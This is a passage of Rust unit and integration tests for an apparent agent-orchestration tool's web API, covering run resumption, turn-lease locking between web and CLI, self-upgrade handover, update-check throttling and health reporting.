17404            (RunStatus::Ready, "ready"),
17405            (RunStatus::Failed, "failed"),
17406        ] {
17407            let id = format!("20260901-000000-{}", &word[..4]);
17408            write_run(&runs, &id, status);
17409            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
17410            assert_eq!(res.status, 409, "{word} must not be resumable");
17411            let err = res.json()["error"].as_str().unwrap().to_owned();
17412            assert!(err.contains(word), "the refusal names the status: {err}");
17413        }
17414
17415        // And an interrupted run is accepted: 202, with the resume running in
17416        // the background. `Runner::resume` fails immediately here - the
17417        // fixture's run points at a repository that does not exist - which is
17418        // the point: the handler must not wait for it to find out.
17419        let mid = "20260901-000000-midf";
17420        write_run(&runs, mid, RunStatus::Reviewing);
17421        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
17422        assert_eq!(res.status, 202, "an interrupted run is resumable");
17423    }
17424
17425    #[tokio::test]
17426    async fn resume_is_refused_while_the_loop_is_running() {
17427        let fx = Fixture::start().await;
17428        let runs = fx.runs();
17429        let stalled = "20260901-000000-stal";
17430        write_run(&runs, stalled, RunStatus::Stalled);
17431
17432        // The loop is busy with a *different* run, and that is still a
17433        // refusal: a manual resume must never race whatever the loop itself
17434        // is already driving, whether that is one run or several.
17435        let mut beat = crate::daemon::Status::new();
17436        beat.current = vec![crate::daemon::Current {
17437            task: "20260901-000000-task".to_owned(),
17438            run: "20260901-000000-othr".to_owned(),
17439        }];
17440        beat.updated_at = jiff::Timestamp::now();
17441        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17442            .expect("publish a heartbeat");
17443
17444        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
17445        assert_eq!(res.status, 409);
17446        let err = res.json()["error"].as_str().unwrap().to_owned();
17447        assert!(err.contains("othr"), "it names what the loop is on: {err}");
17448        assert!(err.contains("stop it first"), "{err}");
17449    }
17450
17451    #[test]
17452    fn a_run_cannot_be_resumed_twice_at_once() {
17453        let home = TempDir::new().expect("temp home");
17454        let ui = Ui::new(
17455            Queue::at(home.path().join("queue")),
17456            Questions::at(home.path().join("questions")),
17457            Talks::at(home.path().join("talks")),
17458            home.path().join("runs"),
17459            home.path().to_path_buf(),
17460            PathBuf::from("/repo"),
17461        )
17462        .with_worktrees_root(home.path().join("wt"));
17463        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
17464        let again = ui.begin_resume("20260901-000000-once");
17465        assert!(again.is_err(), "a second tap must not start a second graph");
17466        drop(first);
17467        assert!(
17468            ui.begin_resume("20260901-000000-once").is_ok(),
17469            "and the claim is released when the attempt ends"
17470        );
17471    }
17472
17473    #[test]
17474    fn talk_thinking_tracks_only_its_held_turn_claim() {
17475        let home = TempDir::new().expect("temp home");
17476        let ui = Ui::new(
17477            Queue::at(home.path().join("queue")),
17478            Questions::at(home.path().join("questions")),
17479            Talks::at(home.path().join("talks")),
17480            home.path().join("runs"),
17481            home.path().to_path_buf(),
17482            PathBuf::from("/repo"),
17483        )
17484        .with_worktrees_root(home.path().join("wt"));
17485        let id = "20260901-000000-once";
17486
17487        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
17488        let turn = ui.begin_talk_turn(id).expect("claim turn");
17489        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
17490        assert!(
17491            !ui.is_thinking("20260901-000000-other"),
17492            "one talk's turn does not make another talk busy"
17493        );
17494        drop(turn);
17495        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
17496    }
17497
17498    #[test]
17499    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
17500        let home = TempDir::new().expect("temp home");
17501        let talks = Talks::at(home.path().join("talks"));
17502        let ui = Ui::new(
17503            Queue::at(home.path().join("queue")),
17504            Questions::at(home.path().join("questions")),
17505            talks.clone(),
17506            home.path().join("runs"),
17507            home.path().to_path_buf(),
17508            PathBuf::from("/repo"),
17509        )
17510        .with_worktrees_root(home.path().join("wt"));
17511        let id = "20260901-000000-cross";
17512
17513        let other = Talks::at(home.path().join("talks"))
17514            .claim_turn(id)
17515            .expect("claim")
17516            .expect("the other process wins");
17517        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
17518        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
17519        assert!(
17520            matches!(
17521                ui.begin_talk_turn_unless_pending(id).expect("start"),
17522                TalkTurnStart::Foreign
17523            ),
17524            "a foreign holder is refused, not queued behind"
17525        );
17526        assert!(
17527            !ui.talk_turns.lock().unwrap().live.contains(id),
17528            "a refused claim leaves no in-process entry behind"
17529        );
17530        drop(other);
17531        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
17532        assert!(talks.turn_held(id), "the web turn holds the lease");
17533        drop(turn);
17534        assert!(
17535            !talks.turn_held(id),
17536            "dropping the guard releases the lease"
17537        );
17538    }
17539
17540    fn consult_question(ui: &Ui) -> Question {
17541        let mut q = Question::new(
17542            "20260901-000000-consult".to_owned(),
17543            "implement".to_owned(),
17544            "impl-A".to_owned(),
17545            "Which backend?".to_owned(),
17546            String::new(),
17547            vec!["SQLite".to_owned(), "Redis".to_owned()],
17548        );
17549        ui.questions.put(&mut q).expect("question");
17550        q
17551    }
17552
17553    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
17554        (
17555            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
17556            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
17557        )
17558    }
17559
17560    #[tokio::test]
17561    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
17562        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
17563        let q = consult_question(&ui);
17564        let talk = ui.talks.get(&id).expect("talk");
17565        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
17566        let before = consult_snapshot(&ui, &q, &id);
17567        let cli_talks = Talks::at(ui.home.join("talks"));
17568        assert_eq!(
17569            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
17570                .await
17571                .expect("CLI starter"),
17572            crate::consult::Started::Busy
17573        );
17574        assert_eq!(consult_snapshot(&ui, &q, &id), before);
17575        assert!(ui.is_thinking(&id));
17576        drop(guard);
17577        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
17578    }
17579
17580    #[tokio::test]
17581    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
17582        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
17583        let q = consult_question(&ui);
17584        let talk = ui.talks.get(&id).expect("talk");
17585        let started = tmp.path().join("started");
17586        let release = tmp.path().join("release");
17587        let script = tmp.path().join("consult-agent.sh");
17588        std::fs::write(
17589            &script,
17590            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
17591        )
17592        .expect("script");
17593        let mut cfg = stub_config();
17594        cfg.agents[0].id = "mock".to_owned();
17595        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
17596        cfg.agents[0].env = std::collections::BTreeMap::from([
17597            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
17598            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
17599        ]);
17600        let questions = ui.questions.clone();
17601        let cli_talks = Talks::at(ui.home.join("talks"));
17602        let cli_q = q.clone();
17603        let turn = tokio::spawn(async move {
17604            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
17605        });
17606        let ready = tokio::time::timeout(Duration::from_secs(30), async {
17607            while !started.exists() {
17608                tokio::time::sleep(Duration::from_millis(10)).await;
17609            }
17610        })
17611        .await;
17612        // Always release and join the agent, even if readiness or the web
17613        // request fails, so a failed assertion cannot leave a turn behind.
17614        let refusal = if ready.is_ok() {
17615            let before = consult_snapshot(&ui, &q, &id);
17616            let result = talk_say(
17617                State(Arc::clone(&ui)),
17618                Path(id.clone()),
17619                Ok(Json(NewTalkTurn {
17620                    reply_to: None,
17621                    text: "another message".to_owned(),
17622                    attachments: Vec::new(),
17623                })),
17624            )
17625            .await;
17626            Some((result, before, consult_snapshot(&ui, &q, &id)))
17627        } else {
17628            None
17629        };
17630        std::fs::write(&release, "").expect("release agent");
17631        let done = turn.await.expect("join CLI turn");
17632        ready.expect("agent started before deadline");
17633        let (result, before, after) = refusal.expect("web request");
17634        let error = result.expect_err("web must refuse the CLI's turn");
17635        assert_eq!(error.status, StatusCode::CONFLICT);
17636        assert!(error.message.contains("a turn is already running"));
17637        assert_eq!(
17638            after, before,
17639            "refusal preserves question, draft and history"
17640        );
17641        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
17642        let guard = ui
17643            .begin_talk_turn(&id)
17644            .expect("web claim")
17645            .expect("free again");
17646        drop(guard);
17647    }
17648
17649    #[test]
17650    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
17651        let home = TempDir::new().expect("temp home");
17652        let talks = Talks::at(home.path().join("talks"));
17653        let ui = Ui::new(
17654            Queue::at(home.path().join("queue")),
17655            Questions::at(home.path().join("questions")),
17656            talks.clone(),
17657            home.path().join("runs"),
17658            home.path().to_path_buf(),
17659            PathBuf::from("/repo"),
17660        )
17661        .with_worktrees_root(home.path().join("wt"));
17662        let id = "20260901-000000-order";
17663        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
17664        // Hold the slot mutex so the drop can finish the lease but not the slot.
17665        let slots = ui.talk_turns.lock().unwrap();
17666        let dropper = std::thread::spawn(move || drop(turn));
17667        let start = std::time::Instant::now();
17668        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
17669            std::thread::sleep(Duration::from_millis(5));
17670        }
17671        assert!(!talks.turn_held(id), "the lease is released first");
17672        assert!(slots.live.contains(id), "the slot is still held meanwhile");
17673        drop(slots);
17674        dropper.join().expect("join");
17675        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
17676    }
17677
17678    #[tokio::test]
17679    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
17680        let fx = Fixture::start().await;
17681        // Somebody else's `magi serve` owns the queue. Replacing this binary
17682        // would leave that process running an old one against the same
17683        // claims, which is worse than refusing.
17684        let mut beat = crate::daemon::Status::new();
17685        beat.pid = 4321;
17686        beat.updated_at = jiff::Timestamp::now();
17687        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17688            .expect("publish a heartbeat");
17689
17690        let res = fx.post("/api/upgrade", None).await;
17691        assert_eq!(res.status, 409);
17692        let err = res.json()["error"].as_str().unwrap().to_owned();
17693        assert!(err.contains("4321"), "the refusal names the owner: {err}");
17694        assert!(err.contains("old one against the same queue"), "{err}");
17695    }
17696
17697    /// [`should_spawn_recheck`] must refuse for the same two reasons
17698    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
17699    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
17700    /// Purely a predicate over config and the environment - no network, no
17701    /// disk, no runtime - so unlike the fixture-based tests around it this
17702    /// one needs neither.
17703    #[test]
17704    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
17705        assert!(!should_spawn_recheck(&crate::config::Update {
17706            mode: UpdateMode::Off,
17707            interval: None,
17708        }));
17709
17710        // SAFETY: single-threaded as far as this variable goes, the same
17711        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
17712        unsafe {
17713            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
17714        }
17715        let killed = should_spawn_recheck(&crate::config::Update {
17716            mode: UpdateMode::Notify,
17717            interval: None,
17718        });
17719        unsafe {
17720            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
17721        }
17722        assert!(
17723            !killed,
17724            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
17725             one-time startup check"
17726        );
17727
17728        assert!(should_spawn_recheck(&crate::config::Update {
17729            mode: UpdateMode::Notify,
17730            interval: None,
17731        }));
17732    }
17733
17734    /// [`recheck_poll_period`] must track a configured `[update] interval`
17735    /// shorter than its own default ceiling - a fixed sleep here would leave
17736    /// an operator's short interval waiting on the next wake-up instead of on
17737    /// `should_check`, which is the same bug this whole task exists to fix,
17738    /// just one level down.
17739    #[test]
17740    fn recheck_poll_period_tracks_a_short_configured_interval() {
17741        let short = crate::config::Update {
17742            mode: UpdateMode::Notify,
17743            interval: Some("1m".to_owned()),
17744        };
17745        let period = recheck_poll_period(&short);
17746        assert!(
17747            period <= Duration::from_secs(30),
17748            "a one-minute interval must wake the task far sooner than the \
17749             default ceiling, or the deck would not notice within the \
17750             interval the operator configured: got {period:?}"
17751        );
17752
17753        let default = crate::config::Update {
17754            mode: UpdateMode::Notify,
17755            interval: None,
17756        };
17757        assert_eq!(
17758            recheck_poll_period(&default),
17759            UPDATE_RECHECK_POLL_MAX,
17760            "the default day-long interval should poll at the (capped) \
17761             ceiling rather than needlessly often"
17762        );
17763    }
17764
17765    /// [`update_recheck_due`] must not repeat a check made moments ago, the
17766    /// same throttle `updater::Checker::should_check` already gives the
17767    /// CLI's notify mode. Built over an explicit state file via
17768    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
17769    /// write the operator's real `last_update_check.json` - and therefore
17770    /// cannot flake on whatever that file happens to say on the machine
17771    /// running the test.
17772    #[test]
17773    fn recheck_skips_the_network_before_the_interval_elapses() {
17774        let dir = TempDir::new().expect("temp dir");
17775        let path = dir.path().join("state.json");
17776        let state = kaishin::UpdateCheckState {
17777            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
17778            last_known_latest: None,
17779            last_known_url: None,
17780        };
17781        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
17782
17783        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
17784        assert!(
17785            !update_recheck_due(&checker, None),
17786            "a check made moments ago must not be repeated before the \
17787             configured interval elapses"
17788        );
17789    }
17790
17791    /// An upgrade this deck already started must not be raced by a recheck
17792    /// that discovers a newer release mid-install - regardless of what
17793    /// `should_check` says, which is why the state file here is missing
17794    /// entirely: read alone, that alone would answer "never checked, go
17795    /// ahead".
17796    #[test]
17797    fn recheck_defers_to_an_upgrade_already_in_flight() {
17798        let dir = TempDir::new().expect("temp dir");
17799        let path = dir.path().join("state.json");
17800        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
17801        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
17802
17803        assert!(
17804            !update_recheck_due(&checker, Some(&progress)),
17805            "a recheck must not run while an upgrade this deck started is \
17806             still moving"
17807        );
17808    }
17809
17810    #[tokio::test]
17811    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
17812        // The same env var the background check honours (`disabled_by_env`)
17813        // must also stop a button press before it ever calls
17814        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
17815        // means "never contact GitHub from this process", and a tap on the
17816        // upgrade button must not override that any more than a broken
17817        // `magi.toml` may. Left unset, this fixture's default config would
17818        // otherwise reach a real, unauthenticated GitHub call.
17819        //
17820        // SAFETY: single-threaded as far as this variable goes - nothing else
17821        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
17822        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
17823        unsafe {
17824            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
17825        }
17826        let fx = Fixture::start().await;
17827        let res = fx.post("/api/upgrade", None).await;
17828        unsafe {
17829            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
17830        }
17831        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
17832        let body = res.json();
17833        assert!(body["to"].is_null(), "there was no release to move to");
17834        assert!(body["parked"].is_null(), "and nothing was parked");
17835        assert!(
17836            body["detail"]
17837                .as_str()
17838                .unwrap()
17839                .contains("disabled by MAGI_NO_AUTOUPDATE"),
17840            "{body:?}"
17841        );
17842    }
17843
17844    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
17845        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
17846        p.stage = stage;
17847        p
17848    }
17849
17850    #[test]
17851    fn busy_stages_match_the_ui_set() {
17852        use crate::updater::Stage;
17853        assert!(APP_JS.contains(
17854            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
17855        ));
17856        for s in [
17857            Stage::Downloading,
17858            Stage::Replaced,
17859            Stage::Parking,
17860            Stage::Restarting,
17861        ] {
17862            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
17863        }
17864        for s in [Stage::Done, Stage::Failed] {
17865            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
17866        }
17867        assert!(upgrade_in_motion(None).is_none());
17868    }
17869
17870    #[tokio::test]
17871    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
17872        use crate::updater::Stage;
17873        for stage in [
17874            Stage::Downloading,
17875            Stage::Replaced,
17876            Stage::Parking,
17877            Stage::Restarting,
17878        ] {
17879            let fx = Fixture::start().await;
17880            let seeded = seeded_progress(stage);
17881            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
17882            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
17883                .expect("read");
17884
17885            let res = fx.post("/api/upgrade", None).await;
17886            assert_eq!(res.status, 409, "{stage:?}");
17887            let err = res.json()["error"].as_str().unwrap().to_owned();
17888            assert!(err.contains("already in progress"), "{err}");
17889            assert!(err.contains(stage.as_str()), "{err}");
17890
17891            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
17892                .expect("read");
17893            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
17894            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
17895                .unwrap_or_default();
17896            assert!(!log.contains("signalling HANDOVER"), "{log}");
17897        }
17898    }
17899
17900    #[tokio::test]
17901    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
17902        use crate::updater::Stage;
17903        let repo = TempDir::new().expect("repo dir");
17904        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
17905            .expect("write magi.toml");
17906        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
17907        for stage in [Stage::Done, Stage::Failed] {
17908            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
17909            let res = fx.post("/api/upgrade", None).await;
17910            assert_eq!(res.status, 200, "{stage:?}");
17911        }
17912        // No record at all, and the gate was released by the earlier calls.
17913        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
17914        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
17915    }
17916
17917    #[tokio::test]
17918    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
17919        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
17920        // and the route answers from its own logic.
17921        //
17922        // This test used to lean on the fixture's placeholder repo failing
17923        // config discovery, which left `mode = "notify"` - and a live,
17924        // unauthenticated call to the GitHub releases API inside a unit test.
17925        // GitHub allows 60 of those an hour per address, so the suite went red
17926        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
17927        // long as somebody kept re-running it: every attempt spent another
17928        // request. Six reruns across four pull requests were charged to that
17929        // before it was read as a rate limit rather than a flake.
17930        //
17931        // What the assertion is about is the "already current" branch, which
17932        // is reached by there being no newer release *or* nowhere to look. The
17933        // second one needs no network and cannot be rate limited.
17934        let repo = TempDir::new().expect("repo dir");
17935        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
17936            .expect("write magi.toml");
17937        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
17938
17939        // It must answer 200 and leave the process alone: restarting for an
17940        // upgrade that did not happen parks the run in flight and drops every
17941        // connection to pay for nothing. A probe against a deck already on the
17942        // newest build did exactly that, which is how this case got its own
17943        // branch.
17944        let res = fx.post("/api/upgrade", None).await;
17945        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
17946        let body = res.json();
17947        assert!(body["to"].is_null(), "there was no release to move to");
17948        assert!(body["parked"].is_null(), "and nothing was parked");
17949        assert!(
17950            body["detail"]
17951                .as_str()
17952                .unwrap()
17953                .contains("nothing restarted"),
17954            "{body:?}"
17955        );
17956    }
17957
17958    #[tokio::test]
17959    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
17960        // `mode = "off"` for the same reason as the test above: a default
17961        // fixture repo falls back to `mode = "notify"`, which would make this
17962        // route's new `update` field a live, unauthenticated GitHub call on
17963        // every assertion in this suite that happens to hit `/api/health`.
17964        let repo = TempDir::new().expect("repo dir");
17965        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
17966            .expect("write magi.toml");
17967        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
17968
17969        let health = fx.get("/api/health").await.json();
17970        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
17971        assert_eq!(
17972            health["update"]["available"], false,
17973            "checking is off, which reads as \"unknown\", not \"none\""
17974        );
17975        assert!(health["update"]["to"].is_null());
17976        assert!(
17977            health["upgrade"].is_null(),
17978            "nothing has ever asked this deck to upgrade"
17979        );
17980    }
17981
17982    #[tokio::test]
17983    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
17984        let fx = Fixture::start().await;
17985        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
17986
17987        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17988        progress.parked_run = Some("20260905-000000-cd51".to_owned());
17989        progress.advance(crate::updater::Stage::Parking);
17990        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17991
17992        let health = fx.get("/api/health").await.json();
17993        assert_eq!(health["upgrade"]["stage"], "parking");
17994        assert_eq!(health["upgrade"]["from"], "0.5.1");
17995        assert_eq!(health["upgrade"]["to"], "0.5.2");
17996        let waiting_on = health["upgrade"]["waiting_on"]
17997            .as_str()
17998            .expect("waiting_on is set while parking a known run");
17999        assert!(waiting_on.contains("cd51"), "{waiting_on}");
18000        assert!(waiting_on.contains("implementing"), "{waiting_on}");
18001    }
18002
18003    #[tokio::test]
18004    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
18005        let fx = Fixture::start().await;
18006        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18007        progress.advance(crate::updater::Stage::Done);
18008        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
18009
18010        let health = fx.get("/api/health").await.json();
18011        assert_eq!(health["upgrade"]["stage"], "done");
18012        assert!(
18013            health["upgrade"]["waiting_on"].is_null(),
18014            "nothing to wait on once it is done"
18015        );
18016    }
18017
18018    #[tokio::test]
18019    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
18020        let home = TempDir::new().expect("temp home");
18021        let runs = home.path().join("runs");
18022        std::fs::create_dir_all(&runs).expect("runs dir");
18023        let ui = Ui::new(
18024            Queue::at(home.path().join("queue")),
18025            Questions::at(home.path().join("questions")),
18026            Talks::at(home.path().join("talks")),
18027            runs,
18028            home.path().to_path_buf(),
18029            PathBuf::from("/repo/magi"),
18030        )
18031        .with_launch(launch_idle);
18032        let looping = ui.looping();
18033        let turns = ui.turns();
18034        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
18035            .await
18036            .expect("bind loopback");
18037        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
18038
18039        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18040        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
18041
18042        hand_over(
18043            home.path(),
18044            &looping,
18045            &turns,
18046            &|_: &[String]| Duration::from_secs(5),
18047            served,
18048            |_| Ok(1),
18049        )
18050        .await
18051        .expect("hand over");
18052
18053        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
18054        assert_eq!(
18055            after.stage,
18056            crate::updater::Stage::Restarting,
18057            "hand_over owns the record through parking and up to restarting; \
18058             the successor is what finishes it"
18059        );
18060    }
18061
18062    /// The successor is started exactly once on success, and exactly once on
18063    /// failure too (a failed start is reported, never retried).
18064    #[tokio::test]
18065    async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
18066        for fail in [false, true] {
18067            let home = TempDir::new().expect("temp home");
18068            let ui = idle_ui(&home);
18069            let looping = ui.looping();
18070            let turns = ui.turns();
18071            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
18072                .await
18073                .expect("bind loopback");
18074            let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
18075            let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18076            crate::updater::write_progress(home.path(), &progress).expect("seed progress");
18077
18078            let calls = std::sync::atomic::AtomicUsize::new(0);
18079            let outcome = hand_over(
18080                home.path(),
18081                &looping,
18082                &turns,
18083                &|_: &[String]| Duration::from_secs(5),
18084                served,
18085                |_| {
18086                    calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
18087                    if fail {
18088                        anyhow::bail!("no exec")
18089                    } else {
18090                        Ok(4242)
18091                    }
18092                },
18093            )
18094            .await;
18095            assert_eq!(outcome.is_err(), fail);
18096            assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
18097
18098            let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
18099                .expect("upgrade.log is written under the home");
18100            for step in [
18101                "entered",
18102                "finish_loop",
18103                "listener released",
18104                "starting the successor",
18105            ] {
18106                assert!(log.contains(step), "missing `{step}` in:\n{log}");
18107            }
18108            assert!(
18109                log.contains(if fail { "did not start" } else { "pid 4242" }),
18110                "{log}"
18111            );
18112        }
18113    }
18114
18115    /// The handover signal is seen however the race falls, and wakes its one
18116    /// waiter once per signal - nothing here can spin.
18117    #[tokio::test]
18118    async fn the_handover_signal_wakes_one_waiter_once() {
18119        let signal = Notify::new();
18120        // Signalled before anyone waits: the stored permit is not lost.
18121        signal.notify_one();
18122        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
18123            .await
18124            .expect("an early signal is still seen");
18125        // One signal, one wake-up: a second wait does not resolve by itself.
18126        assert!(
18127            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
18128                .await
18129                .is_err(),
18130            "a consumed signal must not wake a second time"
18131        );
18132        // Signalled while waiting.
18133        let signal = std::sync::Arc::new(signal);
18134        let waiter = tokio::spawn({
18135            let signal = std::sync::Arc::clone(&signal);
18136            async move { wait_for_handover(&signal).await }
18137        });
18138        tokio::time::sleep(Duration::from_millis(20)).await;
18139        assert!(!waiter.is_finished(), "nothing was signalled yet");
18140        signal.notify_one();
18141        tokio::time::timeout(Duration::from_secs(5), waiter)
18142            .await
18143            .expect("a late signal wakes the waiter")
18144            .expect("join");
18145    }
18146
18147    #[tokio::test]
18148    async fn health_says_how_long_a_handover_has_been_stuck() {
18149        let fx = Fixture::start().await;
18150        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18151        progress.advance(crate::updater::Stage::Replaced);
18152        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
18153        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
18154
18155        let health = fx.get("/api/health").await.json();
18156        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
18157        assert!(stuck >= 600, "{stuck}");
18158        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
18159        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
18160    }
18161
18162    #[tokio::test]
18163    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
18164        let home = tempfile::tempdir().expect("temp home");
18165        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18166        progress.advance(crate::updater::Stage::Parking);
18167        crate::updater::write_progress(home.path(), &progress).expect("seed");
18168        // What the second upgrade_and_restart and its handler do.
18169        let mut again = progress.clone();
18170        again.advance(crate::updater::Stage::Replaced);
18171        crate::updater::write_progress(home.path(), &again).expect("replaced");
18172        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18173        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
18174        let after = crate::updater::read_progress(home.path()).expect("record");
18175        assert_eq!(after.stage, crate::updater::Stage::Parking);
18176    }
18177
18178    #[tokio::test]
18179    async fn health_does_not_call_a_live_parking_wait_stuck() {
18180        let fx = Fixture::start().await;
18181        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18182        progress.parked_run = Some("20260905-000000-cd51".to_owned());
18183        progress.advance(crate::updater::Stage::Parking);
18184        let hours = Duration::from_secs(3 * 3600);
18185        progress.started_at = Timestamp::now() - hours;
18186        progress.updated_at = Timestamp::now() - hours;
18187        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
18188        let _lease = crate::updater::LeaseGuard::enter(
18189            fx.home.path(),
18190            Some("20260905-000000-cd51".to_owned()),
18191        );
18192
18193        let health = fx.get("/api/health").await.json();
18194        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
18195        assert!(health["upgrade"]["stuck_kind"].is_null());
18196        assert_eq!(health["upgrade"]["handover_alive"], true);
18197        let waiting_on = health["upgrade"]["waiting_on"]
18198            .as_str()
18199            .expect("waiting_on");
18200        assert!(waiting_on.contains("cd51"), "{waiting_on}");
18201    }
18202
18203    fn idle_ui(home: &TempDir) -> Ui {
18204        let runs = home.path().join("runs");
18205        std::fs::create_dir_all(&runs).expect("runs dir");
18206        Ui::new(
18207            Queue::at(home.path().join("queue")),
18208            Questions::at(home.path().join("questions")),
18209            Talks::at(home.path().join("talks")),
